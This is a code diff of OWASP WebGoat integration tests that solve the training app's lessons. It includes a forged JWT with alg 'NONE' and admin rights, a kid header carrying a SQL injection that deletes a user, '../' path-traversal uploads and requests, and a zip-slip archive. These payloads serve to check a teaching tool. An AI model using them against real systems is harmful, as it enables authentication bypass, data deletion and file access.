-import io.jsonwebtoken.Jwts;
-import io.jsonwebtoken.SignatureAlgorithm;
-import io.jsonwebtoken.impl.TextCodec;
-import io.restassured.RestAssured;
 import java.io.IOException;
 import java.nio.charset.Charset;
 import java.security.InvalidKeyException;
@@ -21,9 +10,23 @@ import java.util.Calendar;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
+
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.Test;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+
+import io.jsonwebtoken.Header;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwt;
+import io.jsonwebtoken.JwtException;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import io.jsonwebtoken.impl.TextCodec;
+import io.restassured.RestAssured;
 import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
 
 public class JWTLessonIntegrationTest extends IntegrationTest {
@@ -58,8 +61,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
 		.claim("username", "WebGoat")
 		.claim("Email", "tom@webgoat.org")
 		.claim("Role", new String[] {"Manager", "Project Administrator"})
-        .signWith(SignatureAlgorithm.HS256, key)
+		.signWith(SignatureAlgorithm.HS256, key).compact();
-        .compact();
     }
     
     private String getSecretToken(String token) {
@@ -84,23 +86,19 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
 						.post(url("/WebGoat/JWT/decode"))
 						.then()
 						.statusCode(200)
-            .extract()
+						.extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
+
-        CoreMatchers.is(true));
 	}
     
     private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
     	
-    String accessToken =
+    	String accessToken = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .get(url("/WebGoat/JWT/secret/gettoken"))
                 .then()
-            .extract()
+                .extract().response().asString();
-            .response()
-            .asString();
     	
     	String secret = getSecretToken(accessToken);
     	
@@ -113,43 +111,36 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
                         .post(url("/WebGoat/JWT/secret"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
+    	
-        CoreMatchers.is(true));
     }
     
     private void resetVotes() throws IOException {
-    String accessToken =
+    	String accessToken = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .get(url("/WebGoat/JWT/votings/login?user=Tom"))
                 .then()
-            .extract()
+                .extract().cookie("access_token");
-            .cookie("access_token");
 
         String header = accessToken.substring(0, accessToken.indexOf("."));
         header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
         
-    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
+        String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
         body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
 
         ObjectMapper mapper = new ObjectMapper();
         JsonNode headerNode = mapper.readTree(header);
-    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+        headerNode = ((ObjectNode) headerNode).put("alg","NONE");
 
         JsonNode bodyObject = mapper.readTree(body);
-    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
+        bodyObject = ((ObjectNode) bodyObject).put("admin","true");
         
-    String replacedToken =
+        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
         		.concat(".")
-            .concat(
+        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
-                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
+        		.concat(".").replace("=", "");
-                    .toString())
-            .concat(".")
-            .replace("=", "");
         
         MatcherAssert.assertThat(
                 RestAssured.given()
@@ -160,24 +151,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
                         .post(url("/WebGoat/JWT/votings"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
     }
     
 	private void buyAsTom() throws IOException {
 		
-    String header =
+		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
-        new String(
-            Base64.getUrlDecoder()
-                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
 
-    String body =
+		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
-        new String(
-            Base64.getUrlDecoder()
-                .decode(
-                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
-                        .getBytes(Charset.defaultCharset())));
 
 		body = body.replace("Jerry", "Tom");
 		
@@ -185,36 +166,25 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
 		JsonNode headerNode = mapper.readTree(header);
 		headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
 
-    String replacedToken =
+		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
-        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-            .concat(".")
 				.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
-            .concat(".")
+				.concat(".").replace("=", "");
-            .replace("=", "");
 
-    MatcherAssert.assertThat(
+		MatcherAssert.assertThat(RestAssured.given()
-        RestAssured.given()
+				.when().relaxedHTTPSValidation()
-            .when()
-            .relaxedHTTPSValidation()
 				.cookie("JSESSIONID", getWebGoatCookie())
-            .header("Authorization", "Bearer " + replacedToken)
+				.header("Authorization","Bearer "+replacedToken)
 				.post(url("/WebGoat/JWT/refresh/checkout"))
-            .then()
+				.then().statusCode(200)
-            .statusCode(200)
+				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
 	}
 	
 	private void deleteTom() {
 		
 		Map<String, Object> header = new HashMap();
 		  header.put(Header.TYPE, Header.JWT_TYPE);
-    header.put(
+		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-        JwsHeader.KEY_ID,
+		String token = Jwts.builder()
-        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-    String token =
-        Jwts.builder()
 				.setHeader(header)
 				.setIssuer("WebGoat Token Builder")
 				.setAudience("webgoat.org")
@@ -224,20 +194,15 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
 				.claim("username", "Tom")
 				.claim("Email", "tom@webgoat.org")
 				.claim("Role", new String[] {"Manager", "Project Administrator"})
-            .signWith(SignatureAlgorithm.HS256, "deletingTom")
+				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
-            .compact();
 		
-    MatcherAssert.assertThat(
+		MatcherAssert.assertThat(RestAssured.given()
-        RestAssured.given()
+				.when().relaxedHTTPSValidation()
-            .when()
-            .relaxedHTTPSValidation()
 				.cookie("JSESSIONID", getWebGoatCookie())
-            .post(url("/WebGoat/JWT/final/delete?token=" + token))
+				.post(url("/WebGoat/JWT/final/delete?token="+token))
 				.then()
 				.statusCode(200)
-            .extract()
+				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
 	}
 
 	private void quiz() { 
@@ -247,4 +212,5 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
 
 		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
 	}
+    
 }

src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java

@@ -1,230 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import io.restassured.path.json.JsonPath;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.List;
-import java.util.Properties;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-public class LabelAndHintIntegrationTest extends IntegrationTest {
-
-  static final String ESCAPE_JSON_PATH_CHAR = "\'";
-
-  @Test
-  public void testSingleLabel() {
-    Assertions.assertTrue(true);
-    JsonPath jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-
-    Assertions.assertEquals(
-        "Try again: but this time enter a value before hitting go.",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if lang parameter overrules Accept-Language parameter
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=nl"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Gebruikersnaam",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=de"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Benutzername",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if invalid language returns english
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "nl")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=xx"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if invalid language returns english
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "xx_YY")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-  }
-
-  @Test
-  public void testHints() {
-    JsonPath jsonPathLabels = getLabels("en");
-    List<String> allLessons =
-        List.of(
-            "HttpBasics",
-            "HttpProxies",
-            "CIA",
-            "InsecureLogin",
-            "Cryptography",
-            "PathTraversal",
-            "XXE",
-            "JWT",
-            "IDOR",
-            "SSRF",
-            "WebWolfIntroduction",
-            "CrossSiteScripting",
-            "CSRF",
-            "HijackSession",
-            "SqlInjection",
-            "SqlInjectionMitigations",
-            "SqlInjectionAdvanced",
-            "Challenge1");
-    for (String lesson : allLessons) {
-      startLesson(lesson);
-      List<String> hintKeys = getHints();
-      for (String key : hintKeys) {
-        String keyValue =
-            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-        // System.out.println("key: " + key + " ,value: " + keyValue);
-        Assertions.assertNotNull(keyValue);
-        Assertions.assertNotEquals(key, keyValue);
-      }
-    }
-    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
-    // ""+jsonPath.getList("hint").get(0));
-  }
-
-  @Test
-  public void testLabels() {
-
-    JsonPath jsonPathLabels = getLabels("en");
-    Properties propsDefault = getProperties("");
-    for (String key : propsDefault.stringPropertyNames()) {
-      String keyValue =
-          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-      Assertions.assertNotNull(keyValue);
-    }
-    checkLang(propsDefault, "nl");
-    checkLang(propsDefault, "de");
-    checkLang(propsDefault, "fr");
-    checkLang(propsDefault, "ru");
-  }
-
-  private Properties getProperties(String lang) {
-    Properties prop = null;
-    if (lang == null || lang.equals("")) {
-      lang = "";
-    } else {
-      lang = "_" + lang;
-    }
-    try (InputStream input =
-        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
-
-      prop = new Properties();
-      // load a properties file
-      prop.load(input);
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-    return prop;
-  }
-
-  private void checkLang(Properties propsDefault, String lang) {
-    JsonPath jsonPath = getLabels(lang);
-    Properties propsLang = getProperties(lang);
-
-    for (String key : propsLang.stringPropertyNames()) {
-      if (!propsDefault.containsKey(key)) {
-        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
-        Assertions.fail();
-      }
-      if (!jsonPath
-          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
-          .equals(propsLang.get(key))) {
-        System.out.println(
-            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
-        System.out.println(
-            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
-        System.out.println("expected: " + propsLang.getProperty(key));
-        System.out.println();
-        Assertions.fail();
-      }
-    }
-  }
-
-  private JsonPath getLabels(String lang) {
-    return RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .contentType(ContentType.JSON)
-        .header("Accept-Language", lang)
-        .cookie("JSESSIONID", getWebGoatCookie())
-        // .log().headers()
-        .get(url("service/labels.mvc"))
-        .then()
-        // .log().all()
-        .statusCode(200)
-        .extract()
-        .jsonPath();
-  }
-
-  private List<String> getHints() {
-    JsonPath jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/hint.mvc"))
-            .then()
-            // .log().all()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    return jsonPath.getList("hint");
-  }
-}

src/it/java/org/owasp/webgoat/LabelAndHintTest.java

@@ -0,0 +1,88 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import io.restassured.path.json.JsonPath;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.Properties;
+
+public class LabelAndHintTest extends IntegrationTest {
+
+    @Test
+    public void testSingleLabel() {
+        Assertions.assertTrue(true);
+        JsonPath jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","en")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+
+        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString("\'http-basics.close\'"));
+    }
+
+    @Test
+    public void testLabels() {
+
+        Properties propsDefault = getProperties("");
+        System.out.println("Working Directory = " + System.getProperty("user.dir"));
+        checkLang(propsDefault,"nl");
+        checkLang(propsDefault,"de");
+        checkLang(propsDefault,"fr");
+        checkLang(propsDefault,"ru");
+
+    }
+
+    private Properties getProperties(String lang) {
+        Properties prop = null;
+        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
+        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
+
+            prop = new Properties();
+            // load a properties file
+            prop.load(input);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return prop;
+    }
+
+    private void checkLang(Properties propsDefault, String lang) {
+        JsonPath jsonPath = getLabels(lang);
+        Properties propsLang = getProperties(lang);
+
+        for (String key: propsLang.stringPropertyNames()) {
+            if (!propsDefault.containsKey(key)) {
+                System.out.println("key: " + key + " in (" +lang+") is missing from default properties");
+                Assertions.fail();
+            }
+            if (!jsonPath.getString("\'"+key+"\'").equals(propsLang.get(key))) {
+                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
+                System.out.println("actual:"+jsonPath.getString("\'"+key+"\'"));
+                System.out.println("expected: "+propsLang.getProperty(key));
+                System.out.println();
+                //Assertions.fail();
+            }
+        }
+    }
+
+    private JsonPath getLabels(String lang) {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language",lang)
+                .cookie("JSESSIONID", getWebGoatCookie())
+                //.log().headers()
+                .get(url("service/labels.mvc"))
+                .then()
+                //.log().all()
+                .statusCode(200).extract().jsonPath();
+    }
+
+}

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -1,11 +1,8 @@
 package org.owasp.webgoat;
 
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 import io.restassured.RestAssured;
-import java.util.Arrays;
-import java.util.Map;
 import lombok.SneakyThrows;
+
 import org.apache.commons.lang3.StringUtils;
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.AfterEach;
@@ -13,6 +10,11 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import java.util.Arrays;
+import java.util.Map;
+
 public class PasswordResetLessonIntegrationTest extends IntegrationTest {
 
 	@BeforeEach
@@ -24,83 +26,57 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
 	@TestFactory
     Iterable<DynamicTest> passwordResetLesson() {
     	return Arrays.asList(
-        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
+    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
-        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
+    			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
-        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
+    			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
-        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
+    			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
-        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
+    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
+    			);
     }
-
 	public void assignment2() {
-    checkAssignment(
+		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
-        url("PasswordReset/simple-mail/reset"),
+		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
-        Map.of("emailReset", this.getUser() + "@webgoat.org"),
-        false);
-    checkAssignment(
-        url("PasswordReset/simple-mail"),
-        Map.of(
-            "email",
-            this.getUser() + "@webgoat.org",
-            "password",
-            StringUtils.reverse(this.getUser())),
-        true);
 	}
 	
 	public void assignment4() {
-    checkAssignment(
+        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
-        url("PasswordReset/questions"),
-        Map.of("username", "tom", "securityQuestion", "purple"),
-        true);
     }
 	
 	public void assignment5() {
-    checkAssignment(
+        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
-        url("PasswordReset/SecurityQuestions"),
+        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
-        Map.of("question", "What is your favorite animal?"),
-        false);
-    checkAssignment(
-        url("PasswordReset/SecurityQuestions"),
-        Map.of("question", "What is your favorite color?"),
-        true);
     }
 
+	
     public void solveAssignment() {
-    // WebGoat
+        //WebGoat
         clickForgotEmailLink("tom@webgoat-cloud.org");
 
-    // WebWolf
+        //WebWolf
         var link = getPasswordResetLinkFromLandingPage();
 
-    // WebGoat
+        //WebGoat
         changePassword(link);
-    checkAssignment(
+        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
-        url("PasswordReset/reset/login"),
-        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
-        true);
     }
 
     public void sendEmailShouldBeAvailableInWebWolf() {
     	clickForgotEmailLink(this.getUser() + "@webgoat.org");
 
-    var responseBody =
+        var responseBody = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/WebWolf/mail"))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
 
         Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
     }
     
     @AfterEach
     public void shutdown() {
-    // this will run only once after the list of dynamic tests has run, this is to test if the
+    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-    // lesson is marked complete
     	checkResults("/PasswordReset");
     }
 
@@ -116,22 +92,15 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
     }
 
     private String getPasswordResetLinkFromLandingPage() {
-    var responseBody =
+        var responseBody = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/WebWolf/requests"))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
         int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-    var link =
+        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
-        responseBody.substring(
-            startIndex + "/PasswordReset/reset/reset-password/".length(),
-            responseBody.indexOf(",", startIndex) - 1);
         return link;
     }
 

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -1,18 +1,6 @@
 package org.owasp.webgoat;
 
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 import io.restassured.RestAssured;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Arrays;
-import java.util.Map;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
 import lombok.SneakyThrows;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
@@ -23,9 +11,23 @@ import org.junit.jupiter.api.TestFactory;
 import org.junit.jupiter.api.io.TempDir;
 import org.springframework.security.core.token.Sha512DigestUtils;
 
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
 class PathTraversalIT extends IntegrationTest {
 
-  @TempDir Path tempDir;
+    @TempDir
+    Path tempDir;
 
     private File fileToUpload = null;
 
@@ -44,7 +46,8 @@ class PathTraversalIT extends IntegrationTest {
                 dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
                 dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
                 dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
+                dynamicTest("assignment 5 - zip slip", () -> assignment5())
+        );
     }
 
     private void assignment1() throws IOException {
@@ -58,9 +61,7 @@ class PathTraversalIT extends IntegrationTest {
                         .post(url("/WebGoat/PathTraversal/profile-upload"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
     }
 
     private void assignment2() throws IOException {
@@ -74,9 +75,7 @@ class PathTraversalIT extends IntegrationTest {
                         .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
     }
 
     private void assignment3() throws IOException {
@@ -85,22 +84,16 @@ class PathTraversalIT extends IntegrationTest {
                         .when()
                         .relaxedHTTPSValidation()
                         .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart(
+                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                "uploadedFileRemoveUserInput",
-                "../test.jpg",
-                Files.readAllBytes(fileToUpload.toPath()))
                         .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
     }
 
     private void assignment4() throws IOException {
         var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-    RestAssured.given()
+        RestAssured.given().urlEncodingEnabled(false)
-        .urlEncodingEnabled(false)
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
@@ -109,16 +102,13 @@ class PathTraversalIT extends IntegrationTest {
                 .statusCode(200)
                 .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
 
-    checkAssignment(
+        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
-        url("/WebGoat/PathTraversal/random"),
+                Sha512DigestUtils.shaHex(this.getUser())), true);
-        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
-        true);
     }
 
     private void assignment5() throws IOException {
         var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-    webGoatHome =
+        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
-        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
 
         var webGoatDirectory = new File(webGoatHome);
         var zipFile = new File(tempDir.toFile(), "upload.zip");
@@ -136,15 +126,12 @@ class PathTraversalIT extends IntegrationTest {
                         .post(url("/WebGoat/PathTraversal/zip-slip"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
     }
 
     @AfterEach
     void shutdown() {
-    // this will run only once after the list of dynamic tests has run, this is to test if the
+        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-    // lesson is marked complete
         checkResults("/PathTraversal");
     }
 }

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -2,6 +2,10 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.response.Response;
+
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
@@ -10,8 +14,6 @@ import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
 
 public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
 
@@ -21,37 +23,31 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
     	int NUMBER_OF_PARALLEL_THREADS = 5;
         startLesson("Challenge1");
 
-    Callable<Response> call =
+        Callable<Response> call = () -> {
-        () -> {
+        		//System.out.println("thread "+Thread.currentThread().getName());
-          // System.out.println("thread "+Thread.currentThread().getName());
                 return RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
                         .cookie("JSESSIONID", getWebGoatCookie())
                         .formParams(Map.of("flag", "test"))
                         .post(url("/challenge/flag/"));
+
         };
         ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
-    List<? extends Callable<Response>> flagCalls =
+        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
-        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
         var responses = executorService.invokeAll(flagCalls);
 
-    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
+        //A certain amount of parallel calls should fail as optimistic locking in DB is applied
-    long countStatusCode500 =
+        long countStatusCode500 = responses.stream().filter(r -> {
-        responses.stream()
-            .filter(
-                r -> {
             try {
-                    // System.err.println(r.get().getStatusCode());
+            	//System.err.println(r.get().getStatusCode());
                 return r.get().getStatusCode() != 200;
             } catch (InterruptedException | ExecutionException e) {
-                    // System.err.println(e);
+            	//System.err.println(e);
                 throw new IllegalStateException(e);
             }
-                })
+        }).count();
-            .count();
+        System.err.println("counted status 500: "+countStatusCode500);
-    System.err.println("counted status 500: " + countStatusCode500);
+        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
-    Assertions.assertThat(countStatusCode500)
-        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
     }
 }

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

